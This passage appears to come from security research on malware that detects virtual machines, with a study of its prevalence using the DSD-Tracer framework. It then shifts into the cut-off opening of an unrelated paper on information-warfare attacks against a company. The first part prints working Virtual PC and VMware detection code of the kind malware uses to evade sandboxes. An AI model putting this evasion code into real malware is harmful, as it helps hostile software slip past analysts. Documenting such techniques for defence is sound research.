use virtual machines to create environment to test security of an application on several operating 
systems or test the security of the operating system itself.  

Since virtual machines can be configured to create virtual network environment within the host 
operating system, security researchers often use them to perform black box analysis by creating 
unexpected application input (often using automated tools), which may expose vulnerabilities in the 
application or the operating system. 

Furthermore, the researchers often install system debuggers which help them investigate the state of 
the system once an error condition is triggered by the unexpected input to the application. 

Virtual machines can be used for testing of exploits  and vulnerability payloads,  including ones 
supplied with popular exploit development frameworks such as Metasploit.

Malware analysis

With the number of new potential malware samples discovered every day approaching 10.000 and 
constantly  increasing  it  is  very  important  for  anti-malware  researchers  to  be  able  to  analyse 
incoming samples as quickly as possible. 

Virus researchers were one of the first to recognise benefits of software virtualization for their work. 
Virtual machines allow creation of many different operating system environments which can be 
saved in a known state and restored in a matter of seconds.

With every new malware sample analysed the analyst has to restore known clean state of the system 
in order to observe side-effects of malware infection. 

The side-effects include file  system changes,  registry changes,  network communication such as 
opening a socket to listen on a port for remote connections by the attacker or connecting to a web 
site  to  download and  run  additional  malware  components  or  potentially  unwanted  applications 
(PUAs).

Virtual machines allow creation of isolated networks that simulate standard network services (DNS, 
SMTP, POP3, HTTP, IRC, IM, P2P) expected to be online if a machine is connected to internet and 
redirect  network traffic  generated by the infected machine to a  safe  destination which will  not 
expose any real machines on the internet.

In addition to manual analysis methods virtual machines are commonly used in automated analysis 
systems with dedicated clusters analysing thousands of potential samples every day.



Honeypots

The detection of malware in a real world situation often depends on the moment when a security 
company receives the first sample of the threat. It is very important to obtain the new sample as 
soon as it appears in the wild. 

Self replicating malware samples are often acquired using honeypots, systems that provide value to 
the owner by attracting unauthorised traffic.

Virtualization  technology can be  deployed to  provide  a  secure  environment  with  configuration 
identical to the machines targeted by malware. This non-production environment is exposed to the 
network and any access the system can be considered unauthorised. 

From the attacker’s position, the virtualized machine appears identical to a real machine and the 
malware will attempt to infect it. As soon as the infection is detected by the honeypot management 
system (which can be manual or automated) the new sample will be isolated and the detection 
added to the set of signatures used by the product.

Virtual machine detection methods

As already mentioned, it is a well known fact that virtual machines are used for malware analysis. 
For  that  reason,  several  malware  families  include  detection  of  virtual  machine  environment. 
Commonly, when a virtual machine environment is detected the malware adopts its behaviour to its 
environment,  most  commonly  stopping  the  execution  or  launching  a  specially  crafted  payload 
designed to be run if the presence of a virtual machine is detected.

Most notably, family of Zlob (Puper,DNSChanger) Trojans contain code to detect if they are being 
executed inside Virtual PC and VMWare. If the virtual machine is detected the Trojan attempts to 
remove itself from the system. 

Big families of IRC bots such as Agobot and Sdbot also contain detection of virtual machines. If 
virtualization is detected the main bot functionality will not be exhibited and the bot will terminate 
its execution.

With the increasing usage of virtualization in a production environment a decrease in the number of 
malware which does not work in a virtual machine environment is expected.

Some  of  the  executable  packers  also  check  for  the  presence  of  virtual  machine.  For  example 
Themida is a very well known packer that does not unpack the underlying code if it is running 
under VMware. 

In the following section we documented some well known examples of code used by malware to 
detect presence of a virtualised environment. Here, we only describe common methods we used to 
measure the overall detection of virtual machines. A fully comprehensive coverage of other virtual 
machine detection methods is  provided by several  existing papers  (P.Ferrie,  Attacks on Virtual 
Machine Emulators).

Detection of running under MS Virtual PC using VPC communication channel

This  method relies  on the  communication channel  between a  virtual  machine guest  and VMM 
(Virtual Machine Manager). The code sets up ebx and eax registers with required values and emits 
an invalid instruction code 0x0f,0x3f which causes an exception if the code is not running under a 
Microsoft  virtual  machine.  If  no exception is  triggered,  the code is  running under  a  Microsoft 
Virtual Machine.

The invalid instruction 0x0f,0x3f provides a method of communication between the guest OS and 
the Virtual PC VMM. Bytes 3 and 4 can contain several other values, each representing a call to a 



different VMM service although the values used in the following code snippet are by far the most 
common ones (0x07 and 0x0b) observed in Virtual PC (VPC) aware malware.

DWORD __forceinline IsInsideVPC_exceptionFilter(LPEXCEPTION_POINTERS ep)
{
  PCONTEXT ctx = ep->ContextRecord;

  ctx->Ebx = -1; // Not running VPC
  ctx->Eip += 4; // skip past the "call VPC" opcodes
  return EXCEPTION_CONTINUE_EXECUTION;
  // we can safely resume execution since we skipped faulty instruction
}

// High level language friendly version of IsInsideVPC()
bool IsInsideVPC()
{
  bool rc = false;

  __try
  {
    _asm push ebx
    _asm mov  ebx, 0 // It will stay ZERO if VPC is running
    _asm mov  eax, 1 // VPC function number

    // call VPC 
    _asm __emit 0Fh
    _asm __emit 3Fh
    _asm __emit 07h
    _asm __emit 0Bh

    _asm test ebx, ebx
    _asm setz [rc]
    _asm pop ebx
  }
  // The except block shouldn't get triggered if VPC is running!!
  __except(IsInsideVPC_exceptionFilter(GetExceptionInformation()))
  {
  }

  return rc;
}

Invalid instruction VPC communication channel detection

Detection of running under Vmware using VMWare control API 

This technique uses VMWare “backdoor” communication using port 0x5658 (VX) to detect the 
presence of Vmware. In a real machine, communication with any port using in and out instructions 
of the processor in user mode (ring3) will cause an exception. However, if an application is running 
under Vmware, reading from port 0x5658 with VMWare magic value (0x564D5868 – VMXh) in 
register eax and function number in ebx will start communication with the VMM.

In case of Agobot and most of the other programs that check for the presence of VMWare, it is 
simply sufficient to check for the presence of the expected VMWare magic number in register ebx 
after the in instruction was executed. 

This  method  can  be  disabled  if  the  following  undocumented  options  are  added  to  the  virtual 
machine configuration file. These settings prevent Agobot, Zlob and several other malware families 
from detecting the VMWare presence.
isolation.tools.getPtrLocation.disable = "TRUE"
isolation.tools.setPtrLocation.disable = "TRUE"
isolation.tools.setVersion.disable = "TRUE"
isolation.tools.getVersion.disable = "TRUE"
monitor_control.disable_directexec = "TRUE"
monitor_control.disable_chksimd = "TRUE"
monitor_control.disable_ntreloc = "TRUE"
monitor_control.disable_selfmod = "TRUE"
monitor_control.disable_reloc = "TRUE"
monitor_control.disable_btinout = "TRUE"
monitor_control.disable_btmemspace = "TRUE"
monitor_control.disable_btpriv = "TRUE"



monitor_control.disable_btseg = "TRUE"

Anti-VMWare prevention virtual machine initialization settings 

/*
executes VMware backdoor I/O function call

*/

#define VMWARE_MAGIC 0x564D5868 // Backdoor magic number
#define VMWARE_PORT 0x5658 // Backdoor port number
#define VMCMD_GET_VERSION 0x0a // Get version number

int VMBackDoor(unsigned long *reg_a, unsigned long *reg_b, unsigned long *reg_c, unsigned long *reg_d) {
unsigned long a, b, c, d;
b=reg_b?*reg_b:0;
c=reg_c?*reg_c:0;

xtry {
__asm {

push eax
push ebx
push ecx
push edx

mov eax, VMWARE_MAGIC
mov ebx, b
mov ecx, c
mov edx, VMWARE_PORT

in eax, dx

mov a, eax
mov b, ebx
mov c, ecx
mov d, edx

pop edx
pop ecx
pop ebx
pop eax

}
} xcatch(...) {}

if(reg_a) *reg_a=a; if(reg_b) *reg_b=b; if(reg_c) *reg_c=c; if(reg_d) *reg_d=d;
return a; 

}

/*
Check VMware version only

*/

int VMGetVersion() {
unsigned long version, magic, command;
command=VMCMD_GET_VERSION;
VMBackDoor(&version, &magic, &command, NULL);
if(magic==VMWARE_MAGIC) return version;
else return 0; }

/*
Check if running inside VMWare

*/

int IsVMWare() {
int version=VMGetVersion();
if(version) return true; else return false; 

}

VMWare detection using VMWare communication channel

Redpill (using SIDT, SGDT or SLDT)

At the heart of this detection method is the SIDT x86 instruction (encoded as 0F01[addr]), which 
stores the contents of the interrupt descriptor table register (IDTR) in a memory location. SIDT is 



one of the few instructions that can be executed in the non privileged mode (ring3) but it returns the 
contents of the sensitive register, used internally by operating system. SxxT are only one type of 
instructions of x86 instruction set that can be used to detect that the application is running inside a 
virtual machine (Vmware or Virtual PC). It is important to note that developers of VMWare and 
Virtual PC could have probably used dynamic translation to translate SIDT instruction to a safe 
format that returns the same results in a virtual environment as in real environment but they made a 
decision not to do it. This is why this method (in some systems) can be reliably used to detect 
virtual machines.

It was first observed by Joanna Rutkowska that because there is only one IDTR register, but there 
are at least two OS running concurrently (i.e. the host and the guest OS), VMM needs to shadow the 
guest's IDTR in a safe place, so that it will not conflict with host’s one. On VMWare with a single 
processor, the relocated address of IDT was at address 0xffXXXXXX, while on Virtual PC it is 
0xe8XXXXXX. 

However, this assumption is not correct if the system is fully emulated or there is more than one 
hardware CPU installed, which is the case with most modern multi-core processors.  In a multi 
processor system every processor uses its own interrupt descriptor table (IDT) and has its  own 
register (IDTR) to point to the IDT. Often, the IDT memory address for the second CPU is in the 
region 0xf7XXXXXX, which means that the method used by Redpill and Scoopy Doo detection 
programs can often show incorrect results.

     
int detect_vm () {
  /* setup memory areas for returned IDTR content and the assembly */
  unsigned char m[2+4], sidtc[] = “\x0f\x01\x0d\x00\x00\x00\x00\xc3";
  /* patch assembly with the pointer to buffer allocated for IDTR */
  *((unsigned*)&sidtc[3]) = (unsigned)m;
  /* call the code to retrieve IDTR */
  ((void(*)())&sidtc)();
  /* if MSB of the IDTR is larger than 0xd0 assume virtual machine */
  return (m[5]>0xd0) ? 1 : 0;
 }

Redpill detection method

The Redpill’s method checks the first byte of the IDTR and compares it with 0xd0. If the byte 
greater than 0xd0 the program assumes that it is running inside a virtual machine. In case of a dual 
processor system this approach will generate false positive detection in 50% of the time. 

A more  reliable  method  may  be  to  use  sldt  instruction  since  LDTR  registers  for  individual 
processors running Windows seem to be initialised to point to the same memory location and the 
false positive rate is minimised.

SMSW VMWare detection

An alternative method of checking for the presence of VMWare has been found in several samples 
of an IRC backdoor Troj/Zyklo (Backdoor.Zyklobot). The method uses the SMSW (Store Machine 
Specific Word)  instruction. The instruction is  supposed to return 16-bit  result  and if  the 32 bit 
register  is  used  to  store  the  result,  the  higher  16  bits  are  undefined,  according  to  the  Intel’s 
Instruction Set Reference. 

In an experiment conducted by Danny Quist of Offensive computing, it has been observed that on 
Intel processors, the return value of top 16 bits is consistently 0x8001, while on virtualized CPU in 
VMWare  the target register contains the value preserved before the instruction was executed. This 
fact was used in the SMSW method. First the target register is initialised with a “magic” value and 
the SMSW is executed. If after the execution of the instruction the target register still contains the 
magic value, the program is deemed to be running inside VMWare.



int mswCheck(void)
{
    int rc = 0;

    unsigned int reax = 0;

    __asm
    {
        mov eax, 0xCCCCCCCC;  // This is the magic value
        smsw eax;
        mov DWORD PTR [reax], eax;
    }

    printf("MSW: %2.2x%2.2x%2.2x%2.2x\n",
        (reax >> 24) & 0xFF, (reax >> 16) & 0xFF, (reax >> 8) & 0xFF,
reax & 0xFF);

    // If the high order bits are still 0xCC, then we are in a VMWare session
    // with emulation turned off.
    if ( (( (reax >> 24) & 0xFF ) == 0xcc) && (( (reax >> 16) & 0xFF ) == 0xcc))
        rc = 1;
    else
        rc = 0;

    return rc;
}

This code has been observed in few other malware families, indicating a code reuse.

Other detection methods

Presence of a virtual machine can also be detected by checking other operating system objects such 
as:

- system services (for presence of VMWare Tools service)
- virtual network card MAC specific addresses
- system BIOS (for Virtual machine specific BIOS emulation)
- system hardware devices (both VMWare and Virtual PC virtualize a specific set of devices)
- file system 
- system CPU (CPUID instruction, returns ConnectixCPU if the system is a VPC machine)
- registry keys referencing VMWare or Connectix (Microsoft Virtual PC)

Methodology of our study with DSD-Tracer

In our study, we utilised DSD-Tracer, a malware analysis framework developed in house for our 
own research.  We aimed to use DSD-Tracer to identify the families of obfuscation packers which 
employ  VM-aware  detection  techniques,  while  detection  of  other  non-obfuscated  virtualization 
aware malware was implemented using a set of static analysis rules and dynamic rules applied to 
the output of Sophos virus engine built-in emulator.

DSD-Tracer is a framework that integrates dynamic and static analysis.   Detailed discussion of 
DSD-Tracer is outside of the scope of this paper. Interested parties can refer to [1] for detailed 
discussion of the framework.  In the following section we will briefly discuss our methodology and 
advantages of employing DSD-Tracer as our tool for analysing samples.



Architecture of DSD-Tracer

DSD-Tracer architecture

Dynamic component

DSD-Tracer provides a detailed trace of the executable in dynamic state, including the following 
information:

 Instructions decoded before its execution.
 All CPU registers.
 Reads/writes to virtual/physical memory.
 Interrupts/exceptions generated.

At the core of the dynamic component is an instrumented virtual machine which aims to capture 
every  instruction  run  by  the  sample.   The  specification  of  the  framework  enables  tools  to 
communicate  low  level  information  about  samples.   There  are  existing  studies  on  automated 
replication systems; some previous studies for using VM to automate analysis (such as TTAnalyze, 
Cobra,  CWSandbox,  see  references)  focused  on  using  VM to  obtain  high-level  information  as 
opposed to low level assembly traces.

DSD-Tracer collects low-level information about the running sample.  We argue this ability for 
collecting low-level  information is  essential  for our investigation since techniques for detecting 
virtual machine (e.g. the invalid instruction execution to detect Virtual PC which only requires one 
instruction) can be observed at only low level.

Static Component

Serialized dynamic information can be accessed via a well defined interface.  The interface module 
was written in C++ which is wrapped into a high-level language module using SWIG module 
( supporting Perl, PHP, Python, Tcl, Ruby, PHP, etc.)



The following summarise the interface used to access the serialized dynamic information:
class dsd_reader {

public:
  dsd_reader(char *logname);
  ~dsd_reader();

  tick cputick();
  tick min_cputick();
  tick max_cputick();

  dsd_reader* next();
  dsd_reader* previous();
  dsd_reader* set_tick(tick t);

  //check if certain block exists
  dsd_block* read_block();
  //dsd_block* read_block(const char* type);
  dsd_block* read_block(block_type type);
  
  // return current instructions
  address instn_laddr();
  unsigned instn_len();
  byte* instn_buf();  //return array of null-terminated bytes
  char* instn_disasm();
  
  // return details about memory write
  address memw_laddr();
  address memw_paddr();
  unsigned memw_len();
  byte* memw_data();
  byte* memw_origdata();

  //return cpu states  
  Bit32u cpu_eax();
  Bit32u cpu_ebx();
  Bit32u cpu_ecx();
  Bit32u cpu_edx();
  Bit32u cpu_ebp();
  Bit32u cpu_esi();
  Bit32u cpu_edi();
  Bit32u cpu_esp();
};

An example of C++ interface declaration 

We have taken advantage of this interface and written a Python script to detect known techniques 
for detecting VM detailed in previous paragraphs.   The script takes the trace, steps through each 
CPU tick and performs matching to see if the trace matches one of the previously discussed VM 
detection techniques.



Automatic replication harness

(Screenshot of our post-analysis results)

In  order  to  handle  large  number  of  samples  to  obtain  reliable  statistics,  manual  generation  of 
dynamic traces and analysis is impractical.

We  have  implemented  a  web-based  automatic  replication  harness  which  allows  feeding  large 
number  of  samples,  and  automatically  performs  required  analysis  to  detect  if  the  sample  has 
employed known VM detection techniques (in addition to various code-coverage analysis, data-I/O 
analysis as shown in above screenshot).

The result of our analysis was obtained by the web-based interface which displays the proportion 
and category of detected VM-aware techniques.

Case study: DSD-Tracer on Themida

To  give  insight  into  the  complexity  of  analyzing  packers  that  employ  virtualization  detection 
techniques, we will use Themida packer as an example.  Themida is a complex packer that employs 
various  armouring  techniques,  metamorphic/junk  instructions  insertions  and  virtualization 
detection.



Complexity of Themida

The complexity of Themida can be illustrated by the following Data I/O graph produced from a 
trace  of  DSD-Tracer  of  the  Themida  unpacking:  

The red line shows the IP, blue line shows the write address, green is the read address.  This graph 
illustrates a few things:

1. The multiple layers of encryption employed by Themida
2. The large red blob in the middle is the embedded Virtual Machine code by Themida – the 

virtual machine itself employs excessive junk jumps which cause the large spread of the IP.

Analyzing Themida through traditional debugger/static technique is very labor intensive.

Static analysis of the dsddump sample

One of  the  frequently  used too  in  DSD-Tracer  is  “dsddump”.   Since  DSD-Tracer  recorded all 
memory I/O operations of the original executable, we can simply replay all the recorded memory-io 
and produce a “dump” of the packed sample in static environment.  Advantage of such method 
compare to dumping directly from memory includes ability to circumvent various page-level anti-
dumping techniques as well as ability to inspect the “dump” at different time slices.

If we look at the information extracted from the replication harness:



Both the CPU tick (relative to the start of the process) and the virtual address of the technique is 
recorded.  

Now we can refer to the de-obfuscated “dsddump” sample.  We can investigate the virtual address 
at which the VM-aware technique occurred.

This allows us to cross verified the VM-aware technique used between samples.  For example, the 
following is a side by side comparison for the VMX backdoor technique used between 2 samples:

Note the:

1. The junk jump instruction in front of the technique.  The junk jumps are modified between 
different samples.

2. Simple algebraic instruction is used to build up the required register values to avoid static 
detection and looks polymorphic.  However, we found that these algebraic operations are 
relatively constant between the samples and might not be generated at the time of packing.

In summary, DSD-Tracer provides us with an effective and accurate way of analysing packers 
without requiring manually trace through the sample.

Justification for using DSD-Tracer

Coverage of packed samples

In malware research, a large number of samples are packed. At least 20% of samples from Sophos 
sample set are packed with known packers, although this percentage is on decrease.  Such packed 
samples  prevent  static  analysis  techniques  from  discovering  that  the  sample  is  VM-aware. 
Unpacking  the  sample  does  not  help  towards  our  goal  since  one  of  our  major  goals  was  to 



investigate VM-aware techniques which are embedded within the packer, and unpacking the sample 
will strip the sample of such property.

By using DSD-Tracer, we record a trace of dynamically executed samples, and recognize a Virtual 
Machine detection technique even if it is hidden deep inside the packer and cannot be seen by static 
analysis techniques.

This ability is demonstrated by the previously discussed case-study of Themida.

Low-level accuracy

There are existing tools for obtaining low level assembly information through emulation, including 
the Norman Sandbox Analyzer.   It constructs an ad-hoc subset of CPU/OS functionality, which 
means there are often flaws which malware can detect easily (e.g. "Detecting Norman by IDT" 
[av07]).  Nevertheless, these are valuable tools to cross-verify trace information in the framework. 
ida-x86emu is an x86 emulator written as an IDA plug-in , with limited OS-level emulation.  Note 
that most of these tools are designed with different goals – Norman Sandbox analyzer is a real-time 
analysis tool with efficiency in mind, while ida-x86emu is a tool aimed at assisting unpacking in 
IDA as opposed to being a full emulator - so accuracy of emulation might not be the most important 
goal of these tools.

Circumventing armour techniques

DSD-Tracer uses an instrumented Virtual Machine for which the “debugger” runs below Ring0 
(using x86 terminology here) and so it had been labelled as Ring-1 debugger.  Ring -1 debuggers 
provide a more accurate simulation environment since no modification is required to the OS-level. 
It can monitor the debugee without affecting any of the host OS environment or the CPU state (e.g. 
debugging registers).

There  are  alternative  solutions  which  also  allow  kernel  mode  debugging,  such  as  VMware 
workstation, or QEmu kernel mode debugger.  However, we have chosen Bochs as our final choice 
due to the fact that in Bochs, the CPU is fully emulated (as oppose to some other VM such as 
QEMU, KQEMU and VMware which, for efficiency purposes, execute some instructions natively 
on the machine).   It  does not employ any dynamic binary translation technique,  which greatly 
simplifies implementing the VM at CPU execution level.  This property makes Bochs relatively 
accurate and robust compare to other VMs.  

Mitigating factors in using DSD-Tracer

While DSD-Tracer does provide some advantage for our research, we have to also be aware of 
certain caveats in using it.  Below detailed some of our concerns while employing DSD-Tracer, and 
describe measures to minimize the impact of such factors.

Bochs as a Virtual Machine

DSD-Tracer currently employs Bochs as the analysis environment at the core of the dynamic stage. 
There  are  known  techniques  for  detecting  Bochs  –  most  easily  on  the  emulated  device 
characteristic.  

In our evaluation of suitability for Bochs as analysis environment, we had tried to establish if any 
malware employs known technique in detecting Bochs.  However, from our research, we had not 
been able to find any samples which tried to detect the existence of Bochs machine. 



In the original description of DSD-Tracer in [1], it is proposed that multiple dynamic analysis trace 
generated on different environment can be cross-verified against each other to make VM-aware 
techniques (and in general, armoring technique) almost impossible, since armoring techniques 
would display a divergence between the 2 traces.  We have implemented a proof of concept version 
of such framework which will be discussed in the following section.

Scalability

Due to the large amount of information handled by DSD-Tracer,  the current  throughput of our 
experimental setup of DSD-Tracer is close to 4 samples/hour. Our main aim of research for using 
DSD-Tracer is to establish the amount of packed samples which employ VM-aware techniques.

To best-employ our limited bandwidth with our DSD-Tracer replication harness, we have  taken 
random samples from each known (as several custom) packers so we can accurately establish if a 
family  of  packer  contain  VM-aware  techniques  or  not.   We took 5  samples  from each  of  the 
commonly used sets of packed, while for packers with smaller population we have taken 2.

Some packers, such as Themida, have Virtual Machine detection as an optional feature.  It is not 
necessary true that the samples we chose from our collection to represent the packer will have such 
option enabled.  However, we argue that it is likely that malware authors would more often than not 
enable such features since:

1. Malware  running  in  a  virtualized  environment  is  often  less  valuable  than  one  on  real 
environment

2. Malware  researchers  make use  of  virtualization  as  their  analysis  environment  is  a  well 
known fact, and hence malware authors are likely to enable such option

We have done a brief research on the percentage of samples which had VM technique turned on for 
Themida,  we  found  more  than  85%  of  them  contain  VM-aware  techniques.

Proof of concept experiment for DSD-Tracer on VMware

One of the core-idea of DSD-Tracer is the ability to cross-verified multiple dynamic analysis trace 
generated  on  different  environment  to  make  VM-aware  techniques  (and  in  general,  armoring 
technique) almost impossible, since armoring techniques would display a divergence between the 2 
traces.  

In the following section we shall describe our attempt to implement another implementation of 
DSD-Tracer of which we could verify against the trace generated from Bochs.

We have also implemented a prototype version of the DSD-Tracer running on VMware Workstation 
6  using  its  GDB  debugging  stub  and  implementing  a  customized  GDB  client  on  the  host 
environment which will single step and record the trace.  

The setup was quite simple.  Following instruction from [6], the vmx file needed to be configured 
with following lines:

debugStub.listen.guest32 = "TRUE"

debugStub.listen.guest32.remote = "TRUE"

In addition, we would like to enable the “invisible breakpoint” option that does not use the usual 
software breakpoints affecting the guest memory. Invisible breakpoints allow VMware to maintain a 
set of internal breakpoints similar to hardware breakpoints.



debugStub.hideBreakpoints=1

One advantage of such “invisible breakpoints” is that they operate on virtual addresses.  They work 
on all page tables – even if the process has not yet been created.  This is a very convenient 
mechanism which allows us to set a breakpoint at the entry point of the process.

With the above options enabled we can connect a GDB client to port 8832 and it will act as a kernel 
mode debugger on the host, using the following command in gdb:

target remote localhost:8832

As a simple experiment, we can use the following simple GDB script to print out the assembly 
execution trace from the client.  Note that we would only target the Ring 3 instructions from the 
specific process we are investigating.

target remote localhost:8832
# default disassembly flavour for gdb is att
set disassembly-flavour intel 

# set breakpoint at the entry point (remember to use invisible breakpoint)
b *0x4010000
continue

# list of contextswap breakpoints (at win2k KiSwapContext)
b *0x80403b96
b *0x80403c6c

# internal function for getting Process ID from PEB
# Note it might not be able to read the necessary memory when in Ring 0,
# thus will return -1 if it fail.  See below
define getpid
        # cannot get pid in ring 0
        set $pidnow = -1
        # PEB->PID
        set $pidnow = *0x7ffde020
end

# get current pid
set $pid = *0x7ffde020  # PEB.pid at Win2k
printf "current pid = %i\n", $pid
while 1
        set $switchcount = 0
        getpid
        while ($pid != $pidnow)
                printf "waiting to be switched (pid = %i)...\n", $pidnow
                continue
                set $switchcount = $switchcount + 1
                if ($switchcount > 1000)
                        printf "switched too many times! quit...\n"
                        quit
                end
                getpid
        end
        # only print disassembly if not in r0
        if ($cs != 8)
                # print one instruction
                x/i $pc
        end
        si
end
quit

To avoid error in memory read while running the script, it will require a patch on the GDB client to 
handle memory read errors without stopping the script.  This can be done by patching the source of 
GDB client with patches based on (the above script assumed a simplified version of the patch that 
all  errors  are  ignored).



Using this setup, we are able to demonstrate detection on the VMX backdoor technique, by showing 
the differences between the traces generated from Bochs and VMware.  We are able to locate the 
exact instruction at which the VM-detection have occurred.

A problem with our proof of concept is that the throughput of this experimental setup is very low.  It 
takes approximately 6 hours to run a proof of concept sample on VMware workstation with single 
stepping GDB client, this is mainly due to 2 reasons:

1. overhead in communication between the  GDB client  on  the  host  and GDB stub  in the 
VMware.  

2. when investigating  SIDT VM-aware  technique,  we  noticed  that  the  returned  IDT value 
shows  that  acceleration  was  disabled.  It  seems  that  turning  on  debugging  stub  would 
implicitly disable acceleration, which is a side effect of our investigation

Note  that  since  QEMU also  has  the  GDB stub  support,  it  is  possible  to  implement  the  above 
technique in QEMU as well.

This  proof  of  concept,  DSD-Tracer  on  VMware  demonstrates  our  technique  of  cross-verifying 
traces against each other to detect armoring techniques.  However, improvements are needed to be 
made if we are to employ it on a large sample set.

Results

Our research attempted to measure the proportion of VM-aware files in the malware set using a 
combination of static and dynamic analysis methods. During the process we were aware of the 
limitation of both approaches with regards to the modern malware that often employs obfuscation 
methods  to  make  analysis  more  difficult  and  in  many  ways  our  measurement  will  amount  to 
approximation where our target to come up with “worst case” numbers. For example, if we found 
that a significant number of family members are VM-aware we used the full number of family 
members as the worst case. With this approach we hope we have taken in account the number of 
malicious files and families that were not detected due to obfuscation and insufficiencies of our 
testing methods.

VM detection in packers

DSD-Tracer test has been run on a set of around 400 samples packed by 193 different generic and 
custom packers classified by out  database.  We have taken  5 random samples from each of the 
commonly used sets of packed, while for packers with smaller population we have taken 2.  More 
than one sample of each packer is taken to eliminate uncertainties around determination of the VM 
detection in the packer code. Only if two or more of the tested samples were found to exhibit VM 
detection we attributed the detection to packer code, otherwise we would attribute the detection to 
the underlying malware. Overall, our tests have shown only one major packer that actively used 
VM detection code – Themida accounting for 1.03%  samples in our test set. 

One border line case we found is ExeCryptor (accounted for 0.15% of our testset).  ExeCryptor 
provides an option for making the packed executable compatible with Virtual environment.

Execryptor VMWare compatibility protection option



However, when we tried to investigate further, we found:

• We have taken a number of ExeCryptor samples from our test set, and verify that they all 
behaved the same between virtual and real environment.  

• We created our own ExeCrytor executables with and without the VM compatibility option 
but could not spot any differences in execution path between the samples in DSD-Tracer.  

• Static  analysis  concludes  that  it  does  not  contains  any  known techniques  for  detecting 
Virtual environment. 

Therefore we have decided to exclude ExeCrytor from our list of packers which detects Virtual 
environment.

Nevertheless, we found several  samples of various custom packers that also exhibited this VM 
detection  behaviour.  Since  we  know  that  these  custom  packers  were  specifically  created  to 
obfuscate malware we can conclude that there is  a higher probability of VM detection code in 
custom packers than in the generic packers. We do not have the names for these packers as they are 
detected under  Sophos generic custom packer detection name EncPk. When VM-aware custom 
packers are taken in account, the overall VM detection rate in packer code raises to 1.15%. 

VM detection in malware families

This part of testing was conducted using a combination of purely static analysis (disassembly) rules 
and dynamic (Sophos virus engine emulation) rules. The rules were run over a set consisting of 
around 2 million known malicious files. The rules are also tested on a large set of known clean files 
to make sure that none of the rules trigger too many false positive detections. 

Some rules, for example SIDT scanning static rule generated too many false positive detections and 
were  not  included in  the  result  even if  detections  may have been correct.  Rules  based testing 
(excluding packers) shows that a little bit less of 1% of samples may be VM-aware. To get overall 
percentage, we should add the percentage of files that use VM-aware packers.

Method Number Percentage FP rate
VMWare backdoor 4524 0.232% low
SIDT, SLDT 8668 0.444% medium_to_high
Redpill copy 68 0.003% none
VPCDet-A 2630 0.135% low
VMWare string 3216 0.165% medium
VMsmsw 4 none
Overall 0.978%

Table 1. Virtual machine detection method breakdown

In  terms of  family  breakdown there  are  a  lot  of  smaller  families  implementing  VM detection 
methods, the largest of them comprise of Dorf (not all samples), Zlob (again only downloading 
component) and Agobot and various IRCBot variants.

Another  significant  contribution comes  from a  family of  dialers  Dial/FlashL,  although the  full 
behaviour will still be exhibited regardless of the fact that a VM was detected. Dial/FlashL will 
however report the presence of a virtual machine in its infection report using HTTP post request to 
its home website. 



Overall numbers

If we add numbers from the previous two sections, we get a good approximation of the overall 
number of VM-aware malicious files.

Some interesting observations

Of the samples using the VMWare backdoor detection method, 50% of them also contain detection 
of Virtual PC using the VPC illegal instruction detection method. However, of the samples using the 
VPC illegal instruction detection method 93% of them also contain VMWare detection method. 

This possibly reflects the opinion among virus writers that VMWare is considered to be used most 
commonly used for anti-virus research, which may be true. Another possibility is that it may reflect 
the fact that VMWare appeared earlier in the market.

In our research we have also attempted to  find out if there is a growing or decreasing trend in VM 
detections by measuring a number of files that arrived to Sophos every month versus detections of 
particular  VM detection rules.  While  a  sharp increase  attributed to VM-aware  Dorf  variants  is 
clearly visible in September 2007, both detections of VMWare and VPC backdoor detections give 
overall inconclusive results.

VMWare backdoor detections time series
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VPC backdoor detection time series
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Conclusion

Measuring proportion of VM-aware malware is not an easy task. When measuring this proportion, 
one cannot  simply rely on static analysis methods, since they can be easily circumvented with 
obfuscated and encrypted code. Dynamic analysis using DSD-tracer is slow and it would take to 
long to measure over a statistically representative set of samples (e.g. to achieve low margin of error 
and high level of certainty). 

We think that  the  combination of  static  and dynamic method gives  a  good approximation that 
allows the reader to make decisions based on the content of the paper. We have developed DSD-
Tracer – a system that can reliably, with time constraint, measure several virtual machine detection 
methods in a program.

Finally, we measured that the overall proportion of VM-aware samples is 2.13%. This number is not 
as high as sometimes claimed, but still represents a significant number that must be taken in account 
while  conducting analysis  using virtual  machines.  It  also shows that  measures to  minimise the 
possibility  of  VM  detection  have  to  be  taken  when  designing  VM-based  automated  analysis 
systems.
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Abstract 

Information warfare is nowadays a well-known concept. However, articles are mainly split into two 
categories. The first one deals with how information must be managed in a system (e.g. a company 
or  a  state),  in  order  to  achieve  information  dominance,  that  is  providing  more  and  better 
information than the others so that they have to follow what is produced. The second one is more 
on  how information can be  used  as  a  weapon.  Dominance is  one goal,  but  not  the  only  one: 
deception, intoxication or misinformation are others. In this article, we chose the second approach. 
The goal when using information as a weapon is to influence a target so that it  does what the 
attacker wants, or to cause effects. 

We chose also to focus on a specific battlefield: Internet. One particularly important aspect of the 
Internet is that it is both a container and contents. For instance, web sites are providing articles, but 
they are also some servers, referenced by search engines. 

As such, we combined this duality to increase the effects of the operations given as example. We 
illustrate the operation through examples, where both information are created, but also its container 
is  improved.  We show how Search  Engine Optimization can be used for  information warfare. 
Combining oriented action techniques and information based techniques make each of them much 
more efficient.

Introduction

This article shows how attacks based on information can be conducted on Internet. We will also 
illustrate how these attacks can be enforced using computer based attacks (hacking). The goal is to 
illustrate how very few people can organize an information based attack, targeting either a company 
or a state for instance. As an illustration, we will target a consulting and IT services company. 

Nowadays, everyone can become a cyberwarrior due to 2 main factors:

• Democratization  of  warfare  weapons:  it  is  really  easy  and  cheap  to  create  electronic 
weapons to attack a target, whereas it is really expensive to prevent or repair the damages.

• No entry fees: there is no more need to agree with leaderships of others to act, conducting 
its own operations is enough. 

Such actions can be seen similar to that of multi-agent system in Artificial Intelligence. Each agent 
is not necessarily aware of the actions of the other ones, and may only have a partial view of its 
world, but the actions altogether show coherency. In an offensive tactic, it can be viewed as small 
actions (may be not even offensive) but when they are considered together, they intend to disrupt 
the whole system. 

We choose  in  our  example  a  distributed  approach,  combining  attacks  on  different  layers  (e.g. 
organisation or corporate image) rather than a centralized attack. In a certain way, we also take 
some inspiration from the long tail  of  attackers (Onderson,  2004). This concept deals with the 
economical model of sales on Internet. It states that it is better not to focus on the top 5 products, 
but on all the others. For instance, a usual book sellers has limited room to store the books. Thus, it 
focuses on the best sellers. Conversely, an Internet bookseller does not need to store books. This 
explains why such booksellers make more money with other books than best sellers. 

This model is found in real life for modern terrorists, such as those working in Iraq. The purpose is 
to attract and gather them around the same objective (free Iraq from Americans), but each terrorist 
